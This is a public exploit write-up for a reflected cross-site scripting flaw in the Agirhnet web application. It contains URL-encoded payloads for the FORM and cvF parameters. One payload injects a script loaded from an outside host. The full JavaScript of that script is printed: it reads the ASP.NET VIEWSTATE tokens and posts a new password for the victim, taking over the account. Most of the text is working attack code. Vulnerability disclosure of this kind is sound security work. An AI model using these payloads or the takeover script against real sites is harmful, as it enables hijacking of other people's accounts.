# Exploit Title: [Agirhnet] - Reflected XSS via GET # Google Dork: inurl:agirhnet # Date: 2022-02-21 # Exploit Author: Daniel Martinez Adan (aDoN90) member of Holcim EMEA Digital Center # Vendor Homepage: https://agirh.net/ # Version: [app version] 1.0 # CVSS : 6.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) URL: https://example.com/AgirhNet/LoadingProgress.aspx?FORM=/%22%0Aconfirm(document.domain)// vulnerable Parameter : FORM Payload: /%22%0Aconfirm(document.domain)// it is compulsory to put the "/" at the beginning of the payload (it has to recognize it as a URL) XSS to Account TakeOver (because, when reset password, it doesn't require the previous password). *URL:* https://XXXXX/AgirhCV/LoadingCVT.aspx?cvF=%00%22%3bvar+head+%3d+document.getElementsByTagName('head').item(0)%3bvar+script+%3d+document.createElement('script')%3bscript.setAttribute('type ',+'text/javascript')%3bscript.setAttribute('src',+'https://gistcdn.githack.com/adon90/61882cb2b0cd727620cc5ea60c9a227f/raw/bbca634097679fcfb38b69e0d75c6fd824c0fc13/b.js')%3bhead.appendChild(script)%3b%2f%2f227 *Payload:* %00%22%3bvar+head+%3d+document.getElementsByTagName('head').item(0)%3bvar+script+%3d+document.createElement('script')%3bscript.setAttribute('type',+'text/javascript')%3bscript.setAttribute('src',+'https://gistcdn.githack.com/adon90/61882cb2b0cd727620cc5ea60c9a227f/raw/bbca634097679fcfb38b69e0d75c6fd824c0fc13/b.js')%3bhead.appendChild(script)%3b%2f%2f227 *Script b.js that extracts and renovates VIEWSTATE, VIEWSTATEGENERATOR and VIEWSTATEENCRYPTED and changes password to the victim.* -------------------------------------------------------- var x = new XMLHttpRequest(); var r=0; x.open('GET','https:/XXXXXXX/AgirhNet/StaticWebForm/Outils/ChangePwd.aspx' ); x.responseType = "document"; x.send(null); x.onreadystatechange = function() { if (x.readyState === 4 && r != 1) { var a = encodeURIComponent((x.response.getElementById('__VIEWSTATE').value)); var b = (x.response.getElementById('__VIEWSTATEGENERATOR').value); x.open("POST", 'https://XXXXXXX/AgirhNet/StaticWebForm/Outils/ChangePwd.aspx ', 1); x.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); x.send("__VIEWSTATE="+a+"&__VIEWSTATEGENERATOR="+b+"&__VIEWSTATEENCRYPTED=&ctl00%24BodyPlaceHolder%24dfLAST_Pwd=whatever&ctl00%24BodyPlaceHolder%24dfUserKey=2&ctl00%24BodyPlaceHolder%24dfConfirmPWD=2&ctl00%24BodyPlaceHolder%24pbSETpwd=Appliquer"); } else { } }